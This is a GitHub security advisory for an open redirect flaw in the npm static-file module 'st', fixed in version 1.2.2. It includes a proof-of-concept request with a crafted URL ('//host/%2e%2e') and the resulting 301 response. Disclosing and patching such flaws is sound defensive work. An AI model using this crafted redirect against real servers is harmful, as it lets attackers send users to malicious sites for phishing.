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GHSA-72fg-jqhx-c68p

GitHub Security Advisory

Open Redirect in st

✓ GitHub Reviewed MODERATE Has CVE

Advisory Details

st is a module for serving static files.

An attacker is able to craft a request that results in an `HTTP 301` (redirect) to an entirely different domain.

A request for: `http://some.server.com//nodesecurity.org/%2e%2e` would result in a 301 to `//nodesecurity.org/%2e%2e` which most browsers treat as a proper redirect as `//` is translated into the current schema being used.

**Mitigating factor:**

In order for this to work, `st` must be serving from the root of a server (`/`) rather than the typical sub directory (`/static/`) and the redirect URL will end with some form of URL encoded `..` ("%2e%2e", "%2e.", ".%2e").

Code example (provided by Xin Gao):

[example.js]

```js
var st = require('st')
var http = require('http')
http.createServer(st(process.cwd())).listen(1337)
```

```shell
$ curl -v http://localhost:1337//cve.mitre.com/%2e%2e
* Trying ::1...
* TCP_NODELAY set
* Connected to localhost (::1) port 1337 (#0)
> GET //cve.mitre.com/%2e%2e HTTP/1.1
> Host: localhost:1337
> User-Agent: curl/7.54.0
> Accept: */*
>
< HTTP/1.1 301 Moved Permanently
< cache-control: public, max-age=600
< last-modified: Fri, 13 Oct 2017 22:56:33 GMT
< etag: "16777220-46488904-1507935393000"
< location: //cve.mitre.com/%2e%2e/
< Date: Fri, 13 Oct 2017 22:56:41 GMT
< Connection: keep-alive
< Content-Length: 30
<
* Connection #0 to host localhost left intact
```

## Recommendation

Update to version 1.2.2 or later.

Affected Packages

npm st
Affected versions: 0 (fixed in 1.2.2)

Related CVEs

Key Information

GHSA ID
GHSA-72fg-jqhx-c68p
Published
August 6, 2018 9:33 PM
Last Modified
September 11, 2023 6:37 PM
CVSS Score
5.0 /10
Primary Ecosystem
npm
Primary Package
st
GitHub Reviewed
✓ Yes

Dataset

Last updated: July 3, 2025 6:26 AM

Data from GitHub Advisory Database. This information is provided for research and educational purposes.